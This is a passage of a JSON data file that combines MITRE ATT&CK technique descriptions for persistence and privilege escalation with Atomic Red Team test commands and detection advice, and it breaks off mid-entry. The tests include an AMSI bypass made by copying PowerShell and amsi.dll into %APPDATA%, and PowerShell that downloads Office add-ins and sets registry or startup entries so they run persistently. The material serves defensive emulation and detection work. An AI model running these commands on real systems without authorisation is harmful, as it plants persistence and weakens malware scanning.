- "description": "An adversary may add additional roles or permissions to an adversary-controlled cloud account to maintain persistent access to a tenant. For example, they may update IAM policies in cloud-based environments or add a new global administrator in Office 365 environments.(Citation: AWS IAM Policies and Permissions)(Citation: Google Cloud IAM Policies)(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: Microsoft O365 Admin Roles) With sufficient permissions, a compromised account can gain almost unlimited access to data and settings (including the ability to reset the passwords of other admins).(Citation: Expel AWS Attacker)\n(Citation: Microsoft O365 Admin Roles) \n\nThis account modification may immediately follow [Create Account](https://attack.mitre.org/techniques/T1136) or other malicious account activity. Adversaries may also modify an existing [Valid Accounts](https://attack.mitre.org/techniques/T1078) that they have compromised. This could lead to privilege escalation, particularly if the roles added allow for lateral movement to additional accounts. For example, in Azure AD environments, an adversary with the Application Administrator role can add [Additional Cloud Credentials](https://attack.mitre.org/techniques/T1098/001) to their application's service principal. In doing so the adversary would be able to gain the service principal\u2019s roles and permissions, which may be different from those of the Application Administrator.(Citation: SpecterOps Azure Privilege Escalation)",
- "modified": "2022-05-20T17:29:25.547Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Additional Cloud Roles",
- "x_mitre_detection": "Collect activity logs from IAM services and cloud administrator accounts to identify unusual activity in the assignment of roles to those accounts. Monitor for accounts assigned to admin roles that go over a certain threshold of known admins. ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "User Account: User Account Modification"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1547.012": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Mathieu Tartare, ESET"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--2de47683-f398-448f-b947-9abcc3e32fad",
- "type": "attack-pattern",
- "created": "2020-10-05T13:24:49.780Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1547.012",
- "url": "https://attack.mitre.org/techniques/T1547/012"
- },
- {
- "source_name": "Microsoft AddPrintProcessor May 2018",
- "url": "https://docs.microsoft.com/en-us/windows/win32/printdocs/addprintprocessor",
- "description": "Microsoft. (2018, May 31). AddPrintProcessor function. Retrieved October 5, 2020."
- },
- {
- "source_name": "ESET PipeMon May 2020",
- "url": "https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/",
- "description": "Tartare, M. et al. (2020, May 21). No \u201cGame over\u201d for the Winnti Group. Retrieved August 24, 2020."
- }
- ],
- "modified": "2020-10-09T16:05:36.344Z",
- "name": "Print Processors",
- "description": "Adversaries may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation. Print processors are DLLs that are loaded by the print spooler service, spoolsv.exe, during boot. \n\nAdversaries may abuse the print spooler service by adding print processors that load malicious DLLs at startup. A print processor can be installed through the AddPrintProcessor
API call with an account that has SeLoadDriverPrivilege
enabled. Alternatively, a print processor can be registered to the print spooler service by adding the HKLM\\SYSTEM\\\\[CurrentControlSet or ControlSet001]\\Control\\Print\\Environments\\\\[Windows architecture: e.g., Windows x64]\\Print Processors\\\\[user defined]\\Driver
Registry key that points to the DLL. For the print processor to be correctly installed, it must be located in the system print-processor directory that can be found with the GetPrintProcessorDirectory
API call.(Citation: Microsoft AddPrintProcessor May 2018) After the print processors are installed, the print spooler service, which starts during boot, must be restarted in order for them to run.(Citation: ESET PipeMon May 2020) The print spooler service runs under SYSTEM level permissions, therefore print processors installed by an adversary may run under elevated privileges.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Monitor process API calls to AddPrintProcessor
and GetPrintProcessorDirectory
. New print processor DLLs are written to the print processor directory. Also monitor Registry writes to HKLM\\SYSTEM\\ControlSet001\\Control\\Print\\Environments\\\\[Windows architecture]\\Print Processors\\\\[user defined]\\\\Driver
or HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Environments\\\\[Windows architecture]\\Print Processors\\\\[user defined]\\Driver
as they pertain to print processor installations.\n\nMonitor for abnormal DLLs that are loaded by spoolsv.exe. Print processors that do not correlate with known good software or patching may be suspicious.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Driver: Driver Load",
- "Process: OS API Execution",
- "Windows Registry: Windows Registry Key Modification",
- "Module: Module Load",
- "File: File Creation"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "SYSTEM"
- ]
- },
- "atomic_tests": []
- },
- "T1574.001": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Travis Smith, Tripwire",
- "Stefan Kanthak"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34",
- "type": "attack-pattern",
- "created": "2020-03-13T18:11:08.357Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1574.001",
- "url": "https://attack.mitre.org/techniques/T1574/001"
- },
- {
- "external_id": "CAPEC-471",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/471.html"
- },
- {
- "source_name": "Microsoft Dynamic Link Library Search Order",
- "url": "https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order?redirectedfrom=MSDN",
- "description": "Microsoft. (2018, May 31). Dynamic-Link Library Search Order. Retrieved November 30, 2014."
- },
- {
- "source_name": "FireEye Hijacking July 2010",
- "url": "https://www.fireeye.com/blog/threat-research/2010/07/malware-persistence-windows-registry.html",
- "description": "Harbour, N. (2010, July 15). Malware Persistence without the Windows Registry. Retrieved November 17, 2020."
- },
- {
- "source_name": "OWASP Binary Planting",
- "description": "OWASP. (2013, January 30). Binary planting. Retrieved June 7, 2016.",
- "url": "https://www.owasp.org/index.php/Binary_planting"
- },
- {
- "source_name": "FireEye fxsst June 2011",
- "url": "https://www.fireeye.com/blog/threat-research/2011/06/fxsst.html",
- "description": "Harbour, N. (2011, June 3). What the fxsst?. Retrieved November 17, 2020."
- },
- {
- "source_name": "Microsoft Security Advisory 2269637",
- "url": "https://docs.microsoft.com/en-us/security-updates/securityadvisories/2010/2269637",
- "description": "Microsoft. (, May 23). Microsoft Security Advisory 2269637. Retrieved March 13, 2020."
- },
- {
- "source_name": "Microsoft Dynamic-Link Library Redirection",
- "url": "https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-redirection?redirectedfrom=MSDN",
- "description": "Microsoft. (2018, May 31). Dynamic-Link Library Redirection. Retrieved March 13, 2020."
- },
- {
- "source_name": "Microsoft Manifests",
- "description": "Microsoft. (n.d.). Manifests. Retrieved December 5, 2014.",
- "url": "https://msdn.microsoft.com/en-US/library/aa375365"
- },
- {
- "source_name": "FireEye DLL Search Order Hijacking",
- "url": "https://www.fireeye.com/blog/threat-research/2010/08/dll-search-order-hijacking-revisited.html",
- "description": "Nick Harbour. (2010, September 1). DLL Search Order Hijacking Revisited. Retrieved March 13, 2020."
- }
- ],
- "modified": "2021-04-26T18:37:03.748Z",
- "name": "Hijack Execution Flow: DLL Search Order Hijacking",
- "description": "Adversaries may execute their own malicious payloads by hijacking the search order used to load DLLs. Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft Dynamic Link Library Search Order)(Citation: FireEye Hijacking July 2010) Hijacking DLL loads may be for the purpose of establishing persistence as well as elevating privileges and/or evading restrictions on file execution.\n\nThere are many ways an adversary can hijack DLL loads. Adversaries may plant trojan dynamic-link library files (DLLs) in a directory that will be searched before the location of a legitimate library that will be requested by a program, causing Windows to load their malicious library when it is called for by the victim program. Adversaries may also perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program.(Citation: FireEye fxsst June 2011) Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft Security Advisory 2269637)\n\nAdversaries may also directly modify the search order via DLL redirection, which after being enabled (in the Registry and creation of a redirection file) may cause a program to load a different DLL.(Citation: Microsoft Dynamic-Link Library Redirection)(Citation: Microsoft Manifests)(Citation: FireEye DLL Search Order Hijacking)\n\nIf a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program. Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of `.manifest` and `.local` redirection files that do not correlate with software updates are suspicious.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Module: Module Load",
- "File: File Creation",
- "File: File Modification"
- ],
- "identifier": "T1574.001"
- },
- "atomic_tests": [
- {
- "name": "DLL Search Order Hijacking - amsi.dll",
- "auto_generated_guid": "8549ad4b-b5df-4a2d-a3d7-2aee9e7052a3",
- "description": "Adversaries can take advantage of insecure library loading by PowerShell to load a vulnerable version of amsi.dll in order to bypass AMSI (Anti-Malware Scanning Interface)\nhttps://enigma0x3.net/2017/07/19/bypassing-amsi-via-com-server-hijacking/\n\nUpon successful execution, powershell.exe will be copied and renamed to updater.exe and load amsi.dll from a non-standard path.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "copy %windir%\\System32\\windowspowershell\\v1.0\\powershell.exe %APPDATA%\\updater.exe\ncopy %windir%\\System32\\amsi.dll %APPDATA%\\amsi.dll\n%APPDATA%\\updater.exe -Command exit\n",
- "cleanup_command": "del %APPDATA%\\updater.exe >nul 2>&1\ndel %APPDATA%\\amsi.dll >nul 2>&1\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- }
- ]
- },
- "T1103": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--317fefa6-46c7-4062-adb6-2008cf6bcb41",
- "type": "attack-pattern",
- "created": "2017-05-31T21:31:15.409Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1103",
- "url": "https://attack.mitre.org/techniques/T1103"
- },
- {
- "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
- "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
- "source_name": "Elastic Process Injection July 2017"
- },
- {
- "url": "https://support.microsoft.com/en-us/kb/197571",
- "description": "Microsoft. (2006, October). Working with the AppInit_DLLs registry value. Retrieved July 15, 2015.",
- "source_name": "AppInit Registry"
- },
- {
- "url": "https://msdn.microsoft.com/en-us/library/dn280412",
- "description": "Microsoft. (n.d.). AppInit DLLs and Secure Boot. Retrieved July 15, 2015.",
- "source_name": "AppInit Secure Boot"
- },
- {
- "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902",
- "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
- "source_name": "TechNet Autoruns"
- }
- ],
- "modified": "2020-11-10T18:29:30.379Z",
- "name": "AppInit DLLs",
- "description": "Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows
or HKEY_LOCAL_MACHINE\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows
are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Elastic Process Injection July 2017) Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry)\n\nThe AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Monitor DLL loads by processes that load user32.dll and look for DLLs that are not recognized or not normally loaded into a process. Monitor the AppInit_DLLs Registry values for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017) Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current AppInit DLLs. (Citation: TechNet Autoruns) \n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "Administrator"
- ],
- "x_mitre_system_requirements": [
- "Secure boot disabled on systems running Windows 8 and later"
- ],
- "x_mitre_effective_permissions": [
- "Administrator",
- "SYSTEM"
- ]
- },
- "atomic_tests": []
- },
- "T1137.006": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "Office 365"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--34f1d81d-fe88-4f97-bd3b-a3164536255d",
- "type": "attack-pattern",
- "created": "2019-11-07T19:52:52.801Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1137.006",
- "url": "https://attack.mitre.org/techniques/T1137/006"
- },
- {
- "url": "https://support.office.com/article/Add-or-remove-add-ins-0af570c4-5cf3-4fa9-9b88-403625a0b460",
- "description": "Microsoft. (n.d.). Add or remove add-ins. Retrieved July 3, 2017.",
- "source_name": "Microsoft Office Add-ins"
- },
- {
- "url": "https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/",
- "description": "Knowles, W. (2017, April 21). Add-In Opportunities for Office Persistence. Retrieved July 3, 2017.",
- "source_name": "MRWLabs Office Persistence Add-ins"
- },
- {
- "source_name": "FireEye Mail CDS 2018",
- "url": "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s03-youve-got-mail.pdf",
- "description": "Caban, D. and Hirani, M. (2018, October 3). You\u2019ve Got Mail! Enterprise Email Compromise. Retrieved April 22, 2019."
- },
- {
- "source_name": "GlobalDotName Jun 2019",
- "url": "https://www.221bluestreet.com/post/office-templates-and-globaldotname-a-stealthy-office-persistence-technique",
- "description": "Shukrun, S. (2019, June 2). Office Templates and GlobalDotName - A Stealthy Office Persistence Technique. Retrieved August 26, 2019."
- }
- ],
- "modified": "2021-08-16T21:26:09.296Z",
- "name": "Office Application Startup: Add-ins",
- "description": "Adversaries may abuse Microsoft Office add-ins to obtain persistence on a compromised system. Office add-ins can be used to add functionality to Office programs. (Citation: Microsoft Office Add-ins) There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), Visual Studio Tools for Office (VSTO) add-ins, and Outlook add-ins. (Citation: MRWLabs Office Persistence Add-ins)(Citation: FireEye Mail CDS 2018)\n\nAdd-ins can be used to obtain persistence because they can be set to execute code when an Office application starts. ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "Monitor and validate the Office trusted locations on the file system and audit the Registry entries relevant for enabling add-ins.(Citation: GlobalDotName Jun 2019)(Citation: MRWLabs Office Persistence Add-ins)\n\nCollect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "File: File Creation",
- "Windows Registry: Windows Registry Key Modification",
- "Process: Process Creation",
- "Command: Command Execution",
- "Windows Registry: Windows Registry Key Creation",
- "File: File Modification"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "User"
- ],
- "identifier": "T1137.006"
- },
- "atomic_tests": [
- {
- "name": "Code Executed Via Excel Add-in File (XLL)",
- "auto_generated_guid": "441b1a0f-a771-428a-8af0-e99e4698cda3",
- "description": "Loads an XLL file using the excel add-ins library.\nThis causes excel to launch Notepad.exe as a child process. This atomic test does not include persistent code execution as you would typically see when this is implemented in malware.\n",
- "supported_platforms": [
- "windows"
- ],
- "dependencies": [
- {
- "description": "Microsoft Excel must be installed\n",
- "prereq_command": "try {\n New-Object -COMObject \"Excel.Application\" | Out-Null\n Stop-Process -Name \"Excel\"\n exit 0\n} catch { exit 1 }\n",
- "get_prereq_command": "Write-Host \"You will need to install Microsoft Excel manually to meet this requirement\"\n"
- },
- {
- "description": "XLL files must exist on disk at specified location",
- "prereq_command": "if ((Test-Path \"PathToAtomicsFolder\\T1137.006\\bin\\Addins\\excelxll_x64.xll\") -and (Test-Path \"PathToAtomicsFolder\\T1137.006\\bin\\Addins\\excelxll_x86.xll\")) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory \"PathToAtomicsFolder\\T1137.006\\bin\\Addins\\\" -Force | Out-Null\nInvoke-Webrequest -Uri \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1137.006/bin/Addins/excelxll_x64.xll\" -UseBasicParsing -OutFile \"PathToAtomicsFolder\\T1137.006\\bin\\Addins\\excelxll_x64.xll\"\nInvoke-Webrequest -Uri \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1137.006/bin/Addins/excelxll_x86.xll\" -UseBasicParsing -OutFile \"PathToAtomicsFolder\\T1137.006\\bin\\Addins\\excelxll_x86.xll\""
- }
- ],
- "executor": {
- "name": "powershell",
- "command": "$excelApp = New-Object -COMObject \"Excel.Application\"\nif(-not $excelApp.path.contains(\"Program Files (x86)\")){\n Write-Host \"64-bit Office\"\n $excelApp.RegisterXLL(\"PathToAtomicsFolder\\T1137.006\\bin\\Addins\\excelxll_x64.xll\")\n}\nelse{\n Write-Host \"32-bit Office\"\n $excelApp.RegisterXLL(\"PathToAtomicsFolder\\T1137.006\\bin\\Addins\\excelxll_x86.xll\")\n}\n",
- "cleanup_command": "Stop-Process -Name \"notepad\",\"Excel\" -ErrorAction Ignore\n"
- }
- },
- {
- "name": "Persistent Code Execution Via Excel Add-in File (XLL)",
- "auto_generated_guid": "9c307886-9fef-41d5-b344-073a0f5b2f5f",
- "description": "Creates an Excel Add-in file (XLL) and sets a registry key to make it run automatically when Excel is started\nThe sample XLL provided launches the notepad as a proof-of-concept for persistent execution from Office.\n",
- "supported_platforms": [
- "windows"
- ],
- "dependencies": [
- {
- "description": "Microsoft Excel must be installed\n",
- "prereq_command": "try {\n New-Object -COMObject \"Excel.Application\" | Out-Null\n Stop-Process -Name \"Excel\"\n exit 0\n} catch { exit 1 }\n",
- "get_prereq_command": "Write-Host \"You will need to install Microsoft Excel manually to meet this requirement\"\n"
- },
- {
- "description": "XLL files must exist on disk at specified location",
- "prereq_command": "if ((Test-Path \"PathToAtomicsFolder\\T1137.006\\bin\\Addins\\excelxll_x64.xll\") -and (Test-Path \"PathToAtomicsFolder\\T1137.006\\bin\\Addins\\excelxll_x86.xll\")) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory \"PathToAtomicsFolder\\T1137.006\\bin\\Addins\\\" -Force | Out-Null\nInvoke-Webrequest -Uri \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1137.006/bin/Addins/excelxll_x64.xll\" -UseBasicParsing -OutFile \"PathToAtomicsFolder\\T1137.006\\bin\\Addins\\excelxll_x64.xll\"\nInvoke-Webrequest -Uri \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1137.006/bin/Addins/excelxll_x86.xll\" -UseBasicParsing -OutFile \"PathToAtomicsFolder\\T1137.006\\bin\\Addins\\excelxll_x86.xll\""
- }
- ],
- "executor": {
- "name": "powershell",
- "command": "$excelApp = New-Object -COMObject \"Excel.Application\"\nif(-not $excelApp.path.contains(\"Program Files (x86)\")){\n Write-Host \"64-bit Office\"\n Copy \"PathToAtomicsFolder\\T1137.006\\bin\\Addins\\excelxll_x64.xll\" \"$env:APPDATA\\Microsoft\\AddIns\\notepad.xll\"\n}\nelse{\n Write-Host \"32-bit Office\"\n Copy \"PathToAtomicsFolder\\T1137.006\\bin\\Addins\\excelxll_x86.xll\" \"$env:APPDATA\\Microsoft\\AddIns\\notepad.xll\"\n}\n$ver = $excelApp.version\n$ExcelRegPath=\"HKCU:\\Software\\Microsoft\\Office\\$Ver\\Excel\\Options\"\nRemove-Item $ExcelRegPath -ErrorAction Ignore\nNew-Item -type Directory $ExcelRegPath | Out-Null\nNew-ItemProperty $ExcelRegPath OPEN -value \"/R notepad.xll\" -propertyType string | Out-Null\n$excelApp.Quit()\nStart-Process \"Excel\"\n",
- "cleanup_command": "$ver = (New-Object -COMObject \"Excel.Application\").version\nRemove-Item \"HKCU:\\Software\\Microsoft\\Office\\$Ver\\Excel\\Options\" -ErrorAction Ignore\nStop-Process -Name \"notepad\",\"Excel\" -ErrorAction Ignore\nStart-Sleep 3\nRemove-Item \"$env:APPDATA\\Microsoft\\AddIns\\notepad.xll\" -ErrorAction Ignore\n"
- }
- },
- {
- "name": "Persistent Code Execution Via Word Add-in File (WLL)",
- "auto_generated_guid": "95408a99-4fa7-4cd6-a7ef-cb65f86351cf",
- "description": "Creates a Word Add-in file (WLL) which runs automatically when Word is started\nThe sample WLL provided launches the notepad as a proof-of-concept for persistent execution from Office.\nSuccessfully tested on 32-bit Office 2016. Not successful from microsoft 365 version of Office. \n",
- "supported_platforms": [
- "windows"
- ],
- "dependencies": [
- {
- "description": "Microsoft Word must be installed\n",
- "prereq_command": "try {\n New-Object -COMObject \"Word.Application\" | Out-Null\n Stop-Process -Name \"winword\"\n exit 0\n} catch { exit 1 }\n",
- "get_prereq_command": "Write-Host \"You will need to install Microsoft Word manually to meet this requirement\"\n"
- },
- {
- "description": "WLL files must exist on disk at specified location",
- "prereq_command": "if ((Test-Path \"PathToAtomicsFolder\\T1137.006\\bin\\Addins\\wordwll_x64.wll\") -and (Test-Path \"PathToAtomicsFolder\\T1137.006\\bin\\Addins\\wordwll_x86.wll\")) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory \"PathToAtomicsFolder\\T1137.006\\bin\\Addins\\\" -Force | Out-Null\nInvoke-Webrequest -Uri \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1137.006/bin/Addins/wordwll_x64.wll\" -UseBasicParsing -OutFile \"PathToAtomicsFolder\\T1137.006\\bin\\Addins\\wordwll_x64.wll\"\nInvoke-Webrequest -Uri \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1137.006/bin/Addins/wordwll_x86.wll\" -UseBasicParsing -OutFile \"PathToAtomicsFolder\\T1137.006\\bin\\Addins\\wordwll_x86.wll\""
- }
- ],
- "executor": {
- "name": "powershell",
- "command": "$wdApp = New-Object -COMObject \"Word.Application\"\nif(-not $wdApp.path.contains(\"Program Files (x86)\")) \n{\n Write-Host \"64-bit Office\"\n Copy \"PathToAtomicsFolder\\T1137.006\\bin\\Addins\\wordwll_x64.wll\" \"$env:APPDATA\\Microsoft\\Word\\Startup\\notepad.wll\" \n}\nelse{\n Write-Host \"32-bit Office\"\n Copy \"PathToAtomicsFolder\\T1137.006\\bin\\Addins\\wordwll_x86.wll\" \"$env:APPDATA\\Microsoft\\Word\\Startup\\notepad.wll\"\n}\nStop-Process -Name \"WinWord\" \nStart-Process \"WinWord\"\n",
- "cleanup_command": "Stop-Process -Name \"notepad\",\"WinWord\" -ErrorAction Ignore\nStart-Sleep 3\nRemove-Item \"$env:APPDATA\\Microsoft\\Word\\Startup\\notepad.wll\" -ErrorAction Ignore\n"
- }
- },
- {
- "name": "Persistent Code Execution Via Excel VBA Add-in File (XLAM)",
- "auto_generated_guid": "082141ed-b048-4c86-99c7-2b8da5b5bf48",
- "description": "Creates an Excel VBA Add-in file (XLAM) which runs automatically when Excel is started\nThe sample XLAM provided launches the notepad as a proof-of-concept for persistent execution from Office.\n",
- "supported_platforms": [
- "windows"
- ],
- "dependencies": [
- {
- "description": "Microsoft Excel must be installed\n",
- "prereq_command": "try {\n New-Object -COMObject \"Excel.Application\" | Out-Null\n Stop-Process -Name \"Excel\"\n exit 0\n} catch { exit 1 }\n",
- "get_prereq_command": "Write-Host \"You will need to install Microsoft Excel manually to meet this requirement\"\n"
- },
- {
- "description": "XLAM file must exist on disk at specified location",
- "prereq_command": "if (Test-Path \"PathToAtomicsFolder\\T1137.006\\bin\\Addins\\ExcelVBAaddin.xlam\") {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory \"PathToAtomicsFolder\\T1137.006\\bin\\Addins\\\" -Force | Out-Null\nInvoke-Webrequest -Uri \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1137.006/bin/Addins/ExcelVBAaddin.xlam\" -UseBasicParsing -OutFile \"PathToAtomicsFolder\\T1137.006\\bin\\Addins\\ExcelVBAaddin.xlam\""
- }
- ],
- "executor": {
- "name": "powershell",
- "command": "Copy \"PathToAtomicsFolder\\T1137.006\\bin\\Addins\\ExcelVBAaddin.xlam\" \"$env:APPDATA\\Microsoft\\Excel\\XLSTART\\notepad.xlam\" \nStart-Process \"Excel\"\n",
- "cleanup_command": "Stop-Process -Name \"notepad\",\"Excel\" -ErrorAction Ignore\nStart-Sleep 3\nRemove-Item \"$env:APPDATA\\Microsoft\\Excel\\XLSTART\\notepad.xlam\" -ErrorAction Ignore\n"
- }
- },
- {
- "name": "Persistent Code Execution Via PowerPoint VBA Add-in File (PPAM)",
- "auto_generated_guid": "f89e58f9-2b49-423b-ac95-1f3e7cfd8277",
- "description": "Creates a PowerPoint VBA Add-in file (PPAM) which runs automatically when PowerPoint is started\nThe sample PPA provided launches the notepad as a proof-of-concept for persistent execution from Office.\n",
- "supported_platforms": [
- "windows"
- ],
- "dependencies": [
- {
- "description": "Microsoft Excel must be installed\n",
- "prereq_command": "try {\n New-Object -COMObject \"PowerPoint.Application\" | Out-Null\n Stop-Process -Name \"PowerPnt\"\n exit 0\n} catch { exit 1 }\n",
- "get_prereq_command": "Write-Host \"You will need to install Microsoft PowerPoint manually to meet this requirement\"\n"
- },
- {
- "description": "PPAM file must exist on disk at specified location",
- "prereq_command": "if (Test-Path \"PathToAtomicsFolder\\T1137.006\\bin\\Addins\\PptVBAaddin.ppam\") {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory \"PathToAtomicsFolder\\T1137.006\\bin\\Addins\\\" -Force | Out-Null\nInvoke-Webrequest -Uri \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1137.006/bin/Addins/PptVBAaddin.ppam\" -UseBasicParsing -OutFile \"PathToAtomicsFolder\\T1137.006\\bin\\Addins\\PptVBAaddin.ppam\""
- }
- ],
- "executor": {
- "name": "powershell",
